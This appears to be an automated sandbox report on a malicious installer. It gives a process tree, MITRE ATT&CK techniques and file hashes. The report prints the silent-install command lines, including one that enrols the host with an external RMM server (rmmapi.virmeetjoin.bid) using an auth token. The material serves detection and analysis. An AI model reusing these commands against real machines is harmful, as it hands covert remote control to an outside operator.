C:\Windows\TEMP\is-U6LSU.tmp\tacticalagent-v2.11.0-windows-amd64.tmp"C:\Windows\TEMP\is-U6LSU.tmp\tacticalagent-v2.11.0-windows-amd64.tmp" /SL5="$90032,4211567,861184,C:\Windows\TEMP\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 27⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4344
-
-
C:\Windows\SysWOW64\net.exenet stop tacticalrmm7⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tacticalrmm8⤵
- System Location Discovery: System Language Discovery
PID:5884
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM tacticalrmm.exe6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5472 -
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tacticalrmm.exe7⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
PID:700
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c tacticalrmm.exe -m installsvc6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Program Files\TacticalAgent\tacticalrmm.exetacticalrmm.exe -m installsvc7⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2544
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c net start tacticalrmm6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\SysWOW64\net.exenet start tacticalrmm7⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start tacticalrmm8⤵
- System Location Discovery: System Language Discovery
PID:3276
-
-
-
-
-
-
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api "https://rmmapi.virmeetjoin.bid" --client-id 1 --site-id 1 --agent-type "server" --auth "60ccc1fdeede91fc026f0209c6c473fa69de39a26034e2aaf2df037b573f4c83"4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5764 -
C:\Program Files\TacticalAgent\meshagent.exe"C:\Program Files\TacticalAgent\meshagent.exe" -fullinstall5⤵
- Sets service image path in registry
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
PID:2536
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
PID:5984
-
-
-
-
-
C:\Program Files\Zecurit\Agent\ZecuritAgentRegister.exe"C:\Program Files\Zecurit\Agent\ZecuritAgentRegister.exe"1⤵
- Executes dropped EXE
PID:2408
-
C:\Program Files\Zecurit\Agent\ZecuritAgentService.exe"C:\Program Files\Zecurit\Agent\ZecuritAgentService.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1000 -
C:\Program Files\Zecurit\Agent\ZecuritLiveNotifier.exe"C:\Program Files\Zecurit\Agent\\ZecuritLiveNotifier.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
PID:4388
-
-
C:\Program Files\Zecurit\Agent\ZecuritCommandProcessor.exe"C:\Program Files\Zecurit\Agent\\ZecuritCommandProcessor.exe" refresh2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
PID:3812
-
-
C:\Program Files\Zecurit\Agent\ZecuritAgentTray.exeZecuritAgentTray.exe -title "Zecurit Agent" -appServer "https://app.zecurit.com:443" -agentVersion "3.25" -agentInstalledTime "2026-10-17T04:27:10.835744317Z" -showInventoryMenu "true" -agentInstalledBy "Elite Commerce Hub" -showSendLogs "true"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2648
-
-
C:\Program Files\Zecurit\Agent\ZecuritCommandProcessor.exe"C:\Program Files\Zecurit\Agent\\ZecuritCommandProcessor.exe" refresh2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
PID:2336
-
-
C:\Program Files\Zecurit\Agent\ZecuritCommandProcessor.exe"C:\Program Files\Zecurit\Agent\\ZecuritCommandProcessor.exe" refresh2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
PID:2432
-
-
C:\Program Files\Zecurit\Agent\ZecuritCommandProcessor.exe"C:\Program Files\Zecurit\Agent\\ZecuritCommandProcessor.exe" refresh2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
PID:4452
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:5032 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3092
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3580
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
PID:5812
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Defense Evasion
Modify Registry
2Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e59d1b1.rbs
- Size 9KB
- SHA256 d54a63017dd3163806529e48ccb25874dff749aa70ebab381fe01380592bc09b
- MD5 d7ab3638501fee3961f24149d05efe66
- SHA1 dd6e65e0a98ef26b3808603d8bf855e3d9ba6986
- SHA512 bec6e4337870382fe08b541f68ee539a24f4830f0bf3c9d33f37a06d9acd60b09d97f901ae2a8cd415b3e821f772d13d2d85bd20926590b993a8fb65bc1c4711
- SSDEEP 192:5pKvIOvkkvFvNvFvFvynvSvHvNvNvKvEvzvIv4v8AjwNBOu9CzJs/kkIgws/kkPr:5GIoXN1NNyvkP11cuDaq8+wNBOu0HVH0
- TLSH T196224402F94081F3E5B25F34CA0707A537ABCB9A9250728F1D8D5830BF077DA9F551AA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.db
- Size 199KB
- SHA256 113d707c0313821ac1cc2a82267b6d6efdcaf50635139c6569543d3e7b57937d
- MD5 87233cbfe9fe14167ae282c54fc4dae2
- SHA1 5e143f17101477458060b7e84d622e2d8f8e390f
- SHA512 d89e09be7097405a54a5227b4eba94c276b516f677594b436cfa656677279f5feed35962a8ba8a6cefe7989e4d14201bdcf277bd00804c1c97e205f46dd35b11
- SSDEEP 3072:lw9l5D1dzn7AovGyLhfQoYWAkK3S7xOqmwHzgNsPiXgAhdZI4QhIg:e9l5f7vRLmf3SpmwsuiXdjYIg
- TLSH T13314F01C8FAEF17E0FC533955C0F58317BD80B38D3164912A8EB581986B6A8CC67F9A5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.db
- Size 199KB
- SHA256 36578994f36bf9987dc43e84bf6a2ab421ffb619d73e96ad817db1af308aed23
- MD5 e3621cbe5b3c99fa692768677627db98
- SHA1 96652d75e7bcbe782ed7d0cb209442942e9a13f5
- SHA512 3e0a2d930b240681f1aab62d825c11fd42fa56f7baa349cc73cd1bf966ce70e8000ef0d19e1dcd355c3b355fa2b7af1ea16fbea18beaffaf1cfd32a51c431528
- SSDEEP 3072:NDw9ld1dzn7AovGyLhfQoYWAkK3S7xOqmwHzgNsPiXgAhdZI4QhIg:NU9lJ7vRLmf3SpmwsuiXdjYIg
- TLSH T1D014F01C8FAEF17E0FC533955C0F58317BD80B38D3164912A8EB581986B6A8CC67F9A5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\7za.exe
- Size 574KB
- SHA256 c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
- MD5 42badc1d2f03a8b1e4875740d3d49336
- SHA1 cee178da1fb05f99af7a3547093122893bd1eb46
- SHA512 6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c
- SSDEEP 12288:myyKdVnyNhXCV4EkP7AIfzNXZ0b5NrnkcAqIV0A1caRI:mKvyNhXCV4E8BXAfrnkcAqU0A
- TLSH T15FC47C2A3AE5C079D65215308B6E5BF5D0F693680F2308C72794DF2C1E359D6CA3AE39
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent.7z
- Size 18.0MB
- SHA256 f9e19bcfbc6f60c3bdd707cca60f51a8e572ad9dc302c289e506c19371680642
- MD5 dbe98cf2a8dc0ae05c6aedfe3c825084
- SHA1 2313a569e116bac35d8358311b292d905708290f
- SHA512 0dc12761fe7b0d6857661569c6beedaa7ffdcfb22fd76cf03faa29eae88b8189d3c08b5f2e1c716c7c66b82802b63680c49fe162cfc0445f6d974c145c93d470
- SSDEEP 393216:L8zu7zA6W3OMqEDNpk4yTSXBPn01DHUbf3Bb6OyuFYVCgtw2HD/T:oy7zA6tEDNpkQRvIDHOtFYVCLC/T
- TLSH T1DF17336FEE5DCAA4C9BF6533C3847A056B97200F44C6943DE4BED1DA11B9E842D0A4EC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\Logs\agent_live_notifier.log
- Size 382B
- SHA256 d4dec146c302afd78190698cdda79566fc524d76719d6afcb540a0e912b5fa9b
- MD5 4f0ce02284feb0a7e87342a269859322
- SHA1 901d0e1c91d867db05268738380f6d1d21a44385
- SHA512 8994f87fb2a3d942b9efefac6d79e4cc55b22aff67da6f613c0a34142d4d8647d48938f13dc07cfb1ab69260a30d9fe8cebba35a9d08f87985827b76b5bb135f
- TLSH T1F1E0223A3F21B4E732ED23C1051488A7AB2A3528D14424CCE2A0A73C0018B635CAC299
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Zecurit\Agent\Logs\agent_service.log
- Size 7KB
- SHA256 da1485a395ccdc635f995642b90e6ab4070b836564b7083288602d41ed1dbfcc
- MD5 2a8b310f729c3562215aa294f3a3f29c
- SHA1 5acfab3348dd4c62775a4a73ddbabd26406c790c
- SHA512 a040b2aaab9528f57c8f82981111a6996f6c8fcc54b2fa8511121fe2c19e1eb5054359d0d2a8a77f25182707b3293dfe850b90a8b1dbebfa6158633374b023e3
- SSDEEP 192:rHaf9Fb8eWPxE/i3/pE42pWRUScDJCNcqfWfoai7G:rHm9Fb8eWpE6vpE42pjRJnqfWfoaUG
- TLSH T19DE1B0183D29709702DB7791117FD90A9E3B3A37261B29CC7765CBC8515AB02DC6E3AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\Storage\AgentSettings.json
- Size 993B
- SHA256 14ef2d6906ee1f261e70f5007ea3c409c57a8a9dc3928b1d7374e46181cd4624
- MD5 f5d4fe6849752637a4523cf8f88f57b9
- SHA1 3c443aaffeb37482f4fd65edd23b9e0305bd61a2
- SHA512 63c93e3d0ccdf2ea8defac1023d7942fd93bcebed523e723986c2f0269148e1925d533321a0971bb58db3980d67a74e23ca966dbdacd18a94b283984deafd061
- TLSH T16A119B07F7C520BC889717716E7AE1100AB74F62909A68FDBC955D1CE175A421207700
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Zecurit\Agent\Storage\PowerEventHistory.json
- Size 172B
- SHA256 a45d12c482cf42fd2d48ef191ce2078ded7830942854d7c64bba7309ab3024c4
- MD5 1485e9759b31611063da9ba448bd04c0
- SHA1 ee549897c9f93adbc73a04941605cfa06d2feb91
- SHA512 9e052a20d9743bb48ee55feb609664b3994cad7d28f120b0c07e273f80f2467fee44a98db236fa960851efbd3696e7352e0521defece2117d22629d59559d357
- TLSH T15BC0121BBAEC0415448A298C8634C2E2EA9ACF86781604E1F4609E1AE02B53588BA702
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Zecurit\Agent\Storage\Profiles\2673\2784_rmm-merl33nrmm-main-server(1).ps1
- Size 2KB
- SHA256 f0cb34d42c7263feb5e5ed57c8ea46e570032313e7a725a526ac09ae0fc6f3da
- MD5 7c5626d293c69fcae87dc8ab81fdf1e0
- SHA1 3caa84ac455d05812122de383157fe47bd6fecd8
- SHA512 5c0c9d839c3eb27802e2fec1ba7a743676ad6d289ee427dffeb9b55dde9eb69a56ba7ad700f9a5984a6626d61b5aeea6bcce95cc2404327568a36580cc58caf3
- TLSH T1DB519526D9A05270F75B53A25E9A7145AD4AD01B494E1D30FDBC40C4FFD1C8587F8B8B
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritADEntraHandler.dll
- Size 2.6MB
- SHA256 2f97843949d19417b9a514840f365f55980141f89f517069d7d466d92332868a
- MD5 59637ee818c5ddf928ce5f06439bb841
- SHA1 78c3f2eca66726c7768480c6ef77ce227b8a5082
- SHA512 a77841030193824ff1090e64f0fa09f3cc7047e513ace042be91fa3d0b96e3763f9290c428a2c5f107c26e6375ea66f6e335fb451286497f6df6a6f8263189cf
- SSDEEP 49152:yVZipwGmjS+hYG2YptqbqPYldeGhFwSg33W7upChZINzodFw:VWDW7ffINP
- TLSH T172C57D4AA2FD4095DDAAD1B8C6175E0BD7F2B8010632D79F02505BDEDFBB361462A323
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritAgentAssetMgr.exe
- Size 3.4MB
- SHA256 c0d28cab21dfefedd7e99790d6479dd1d94688a6ab66252ace66a2b0e4153ba5
- MD5 72e19504d27e81265b642f4907840e77
- SHA1 b49a7edeef32e7bade80763559308099a2b9a9ed
- SHA512 3442e2382b2a774e62bb50de37e6cbafb3ed2569052f5ff5d4c6472d966299c47f9a02baffbf0b41e5cab1cb106570b0aaec2d444d7faf38b8dc2a3979f67f25
- SSDEEP 49152:DuFh02lIVEMBlwcYGol//Yq7FPKyGKj/mBBI4RnZk89ucEdkRrTfWFxNc5p8KjUQ:202lLMoz//YVGdklQxNex
- TLSH T1BFF58D4963B800E4D5F6D0BCCA2B490BDBF17841063597EF46A16F966F336A18E3E721
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritAgentHandler.dll
- Size 4.6MB
- SHA256 7f5c830f2c5e36f7be951eacd2a8c4bd387fc0cc913c37da34abbae622849ce6
- MD5 e56143cd66f66f73121fe26356407952
- SHA1 575f5c6dffb2196e502ce6e9d3e170be4611c7a9
- SHA512 61f855c2179f6f6e2960c787bb0f4ad06512f332d00fccf6b93b4c0e46315316afe18cace0819cf433d5589929c2cf6336c1080b96b14579e648e2dfe23e96aa
- SSDEEP 49152:d1PHb5ncGWx88TWPkxYaHsFRoOpRdcNCeH87YZMv4+wHb1wjGgYAOi9EDnXCLPtS:LP3aNCWevNuR9AtLFpH+/CA95o7zG
- TLSH T1EB267D46A6EC40E5D9B6D13CCA9B490BD7F2B81103719BCF02A05AAE1F37BE1563E315
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritAgentRegister.exe
- Size 2.7MB
- SHA256 7aaf1fc8b56adf61b3ce4667b391ae2b253e1dc3e35178d33d1088bae0c5a4bb
- MD5 e05b0e028c8e7bade791ecb8d0ae1466
- SHA1 ef978e5cec2c74bd147d2262900ee17107e8caf3
- SHA512 71da4f91cf5aa9e529d811f37646cd7a1919a0881a3928ba560d13231b7c9eea055e6af349610178dec41d1cbb3364165b7439d801207a23f51b3564f85517e0
- SSDEEP 49152:gY+BpXbTrxJ5/t3KLsBaCkxVAf5MjcquwFBJqfsHQjn9:azAxncquwxCsHW9
- TLSH T179D56B89E7ED40E5E9AAD07DC907451BDBB1B8010731C7CB06A49B6B9F732D24E3A721
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritAgentService.exe
- Size 2.9MB
- SHA256 6f7609e0d544e449d21067b028ea916a7d57e1705915596e168fb8cfdf74e4a4
- MD5 b05d1096a14ed367d88ea1587dda0b05
- SHA1 c5479ccd9aa5b8e85f0369bcf661c49f0cc94bfd
- SHA512 76fe5b8f988a5d589ed8a040d51ac2b1d2dd932572ec864be99da0d1695c6938c06b2f3f4cab1f02fcf15c2675210bdda3e8e5b5ff0aa9f5e40c633b57e24b2a
- SSDEEP 49152:ZOxly1P7k14UGE5LcBFTLMo74rVKAeFD0THCAhwJthfNijjMR+q/Y96:lYzpTH3wHhfwjU+q/Y96
- TLSH T1D6E56B4AA6BD40D5DAA6D079C94B851BE2B2B8510332C7CF02784B5B1F777E14E3EB21
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritAgentTray.exe
- Size 2.3MB
- SHA256 e898f5e3794c6bf2abb04c333b16ecd2a3794e90f386a939114d48041ad1feb1
- MD5 98015cd2e8991d7aedc283f9565ea6a3
- SHA1 3ef4c38745ae6bceaf979ff406406482c9d96e81
- SHA512 7a8a380404e60b61ec510bf5dfd8efe8c24ce8bb8c2452cf30afa25eb30aabc26ac9422315b7316dc2c3d135e25ea15bde6649798717a28deb684b1c4409ff3e
- SSDEEP 49152:he/7O/5Iu63DyoVc+qb52xL28TTlBfVErdDBNry/OFb4127tiQ9ihLx35m6YtXGt:w7m5XM+04NZOxBdE1G/Oy2xiQ4hNJotm
- TLSH T177B533523CBB9FC7E0E33B79F2C1C2007AF262A95E3E45672D926CA4DD917E2550098D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritAgentTray.exe.config
- Size 187B
- SHA256 8e2f1a4faf9de10c86b0b91628d75363213b98db515c837dcbe5e6ca5fd43895
- MD5 02e79d37bf740d99ebb8af343098c387
- SHA1 2711de49785aba673df043f543686685e3b53e73
- SHA512 c64410301dfe3e86b778e778253064522cfdd6aa4267a00723962a16f3e405fa38cd46cb91058ddb02c243668f752207ba8b9f13c2d7538e187a8fa290258cb0
- TLSH T1E8C08C4940A8BD278E334B235752C92AEFB473A3E424140CF02FAA670F3124D465737B
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritAgentWinStore.exe
- Size 25KB
- SHA256 474c68702033555f2ae28d28c5ce715091b498312fa474477fc9b987caefaf3e
- MD5 c4bf98cd5209fad4571e9c8d05c5bf44
- SHA1 cd81f6b55932cb244aa0b16ff4cc860ae078d791
- SHA512 5916cd7e367fddcaea1204292cb870e4b1c2fb9062b50a46a4cb8faba975043b7a3e39457131abdec7bc4e971cdf4cd05641cb9daebe625c0c749ac099ac405d
- SSDEEP 384:ZBDY+cyfXbYVRrF/5A4rpypBpwKNsTbN7tPb9Mwx7bLpaC+V:Z5Y0X0r7seTJFVbLmV
- TLSH T1DBC28E073BB86E11D6FA8EBC61F247224DF1A55A5E00CE5D2CE894CD9C257C2AF1192F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritCommandProcessor.exe
- Size 5.4MB
- SHA256 c826c6234833eae66620af5cbe79065e78de86807a37f338efc6e1600f52d9d5
- MD5 eb1dcec11ff1c0d9933df4f60c1581ef
- SHA1 1572d7ad8beb90bdeba61c9a5e511915143c9030
- SHA512 ffa25e15c7c8cdfbc6681cec401cffba8f9ad35540c1cacbf276732ada9a64863516259ce030e8458245b09d217a9bcde52a2d4ee59912bd75eb523edda71d21
- SSDEEP 49152:s1G33RANJAyVYmcmOANJdQdGcAdxkS9IVQ1cmh6nZBUC2W24OF5IqzJTHz5AXjOh:MGOr+AdgscmUz4ImfAice+ztU
- TLSH T168468C46A7E811E4C5B6D179CA17890BEBF1B8410372D7DF01A14AA62F237E25F3EB11
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritLiveNotifier.exe
- Size 4.8MB
- SHA256 a83f73a4782332dd0580af0bfaee1e4137efcde683196cce56e6809e531feb76
- MD5 9c5d180ed56a92ddc81df35ed39e471b
- SHA1 4e211e753471bc397c0f6609dc09c45ab3dcb338
- SHA512 a2f6f36e56f9cc033b3d672c271e267692f703ca1aec2a6ef11f065b6063478d95efb5c75bbc0a94ebd2d5519ea8bbbaaeb798645805c6280e6cc5c428c68f89
- SSDEEP 49152:Nw1Zd+lfP6Z7X0BIrWyS34HUNS/g9L0SmpIX/0eFC8w/Fe+odIXbtQ3vXjNvguVS:neymo/0Gke+hLAVmqLPoB+u
- TLSH T1B5367C55ABE800E8D9B6D079C947851BE7F2B85203718BCF01A05BAA5F376F05E3E361
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\Agent\ZecuritWinHandler.dll
- Size 5.2MB
- SHA256 e4da82519a0cdba6445d3fff6d6c19c61ab4c7af0f06f311f9b9d95b8f877078
- MD5 b8004dfbb630b3a3ee27b33ff3c2b1ca
- SHA1 352abaaaeac5354bcdcaef8392413e3e703845dd
- SHA512 1a755d759fa3b23ea193444a14e902082202584b850c77620757262a3f44364a43ce2cfa8aaac9ee472759ed1aeb871a54fda56a26532ee40974f25347082c57
- SSDEEP 49152:vUN2WPeZyw4/AiN7dYYJJ47iz4Oa3ui47bDOWmkX3UY/AcpEPxQd2FI1+GtAFQRZ:3T4qWmA3E59BQNcAy+4Lm
- TLSH T1EF468C0AA7AD00A4D9F6D17DCA178A1BD3B2B851037297CF19605BAE5F737E10A3E350
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Zecurit\InstallUninstallApp.exe
- Size 2.7MB
- SHA256 968887bd37071c091f3204192bdd96ab82c5d16eac5796a284d7bb00d5bba92a
- MD5 2e9ccbd9802a202a0ff7fb5ee00afc9d
- SHA1 db657ad395ef3dc686579fb4a526fd4eb0ac90b3
- SHA512 032564c993a12405fbeea3c8518202fb597ed4ff8c71450a480fcdc894aaa1cb98c3c99db279da92ab5736ac778950dbd326fc666ac483d2f7a807e161df2d2d
- SSDEEP 49152:6PS1IfyAkry6LJp13aw48XOXTWLwb13BX0aoeNPDc6/gLS:oVzb15xPQR+
- TLSH T19BD55B9AA6AD40E4D9A9D07D8E07850FE7B1B8110335C7CB02798B5B9F372D14E3AB71
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\is-3QLC8.tmp\7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.tmp
- Size 3.1MB
- SHA256 f96c32bfb2770c6b06a45024f4f632b5408f3981527225af0c4bb34e03323051
- MD5 61e00f331fdee6f7cebae1bc7f9d66be
- SHA1 2be3c3aeee0da4ebebdcb3d5a9327694494fb23f
- SHA512 93e245ebd483ed14ffcdce1c2bed1596ae4512ad54fff02113ada493f3f081c31259ef21bcca1eada18d8180f5a059f9a917a7e1db03bc081e8221af88ffc04b
- SSDEEP 49152:2WGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY:6tLutqgwh4NYxtJpkxhGj333T
- TLSH T1A5E53A17F28C713ED06B3A364A3385909837FA6179168C279BFC794C8F365942A3E647
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\is-H378T.tmp\_isetup\_setup64.tmp
- Size 6KB
- SHA256 388a796580234efc95f3b1c70ad4cb44bfddc7ba0f9203bf4902b9929b136f95
- MD5 e4211d6d009757c078a9fac7ff4f03d4
- SHA1 019cd56ba687d39d12d4b13991c9a42ea6ba03da
- SHA512 17257f15d843e88bb78adcfb48184b8ce22109cc2c99e709432728a392afae7b808ed32289ba397207172de990a354f15c2459b6797317da8ea18b040c85787e
- SSDEEP 96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
- TLSH T198C1E80ECA279263FD5A09B79E8219C46FFC262339C6623FCF0045D667C1E4E59A17B0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSID901.tmp
- Size 285KB
- SHA256 f74c97b1a53541b059d3bfafe41a79005ce5065f8210d7de9f1b600dc4e28aa0
- MD5 b77a2a2768b9cc78a71bbffb9812b978
- SHA1 b70e27eb446fe1c3bc8ea03dabbee2739a782e04
- SHA512 a8b16bc60f8559c78c64ca9e85cd7fd704bba1f55b362465b7accef1bb853d1c9616995a35f972256c57fbe877ce880398ba1fbceaa658604883aa12dcbc4f57
- SSDEEP 6144:cAOfnUdzb4m26KFHF/jliAYktxjw0gCvo5VGWg6AZzGbasKHr45I:cRUFb4H6KJF/pDYkw0gCvoKWg6AZznX4
- TLSH T18B547C117AD5D432E1BE0530397DABA52ABEF8316DF0C68F9384566D2D712C0A728F27
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\906ECFE69335DC69EF7232B87C40E14A080B7C3E
- Size 1KB
- SHA256 bf76aabbf336448eb4f24e76cf6e5e489ece6c5e02a582e28fc73c718127b880
- MD5 6ff34e89b38ee3adb3aba8a08cebd8f3
- SHA1 d5d9f9ef4b11ffb40a16f35a58bea46a3e494951
- SHA512 6272d60cd4861af4b89e189ceb2fef0cab3a20574bda885b0def1462c2ff5e90b5cdce073c8572a8146e6a46817b107a96759650fa8842cc06245bf825a4b86b
- TLSH T16721BA5653F44D1BF8457D35646CAB059979A3A50620DC9EB06E04C85553D74B61310A
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\SystemTemp\__PSScriptPolicyTest_k0om33pl.ysc.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\TEMP\ServerData.json
- Size 245B
- SHA256 708e323a20790cdc47c395941778180f2cfd9041cfdffbd47309ebd834bc8732
- MD5 de4651abcc32820e1ba564fd5328daac
- SHA1 9ce0b9b94a46d7585bec16bf7832c8ab4cbe7cec
- SHA512 cff05457daeee4cb545cae55a64120ac8765a52adc5863c89b85e5e5ffb0b97cfdf68875eaac96716b6235883ad5c9da8acfd6301b4ccf0c171f0dc68c66482a
- TLSH T18CD0A78748E5093E61C117BCC178813D97E30F1C679E8042B686BF48F169DA1116707C
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\TEMP\ZecuritAgentInstaller.msi
- Size 20.2MB
- SHA256 fbd82ce0e70c123f253cfcf6b77a9fed8d9f468b31bd88af7d035d096e1927c8
- MD5 281241e9150c1c2c8d9fab9fd5abb3e5
- SHA1 e80a47c22c5567469f565f14bf6901e605e2485a
- SHA512 b567027c74d6d296f9c5f973a27ea77e4ccf674329309f0aa91732e3e776bc567a8fbd0e4398d5b318e460ad9e4b2dcc1a93a47e72c5b0918e7badeea5b9a524
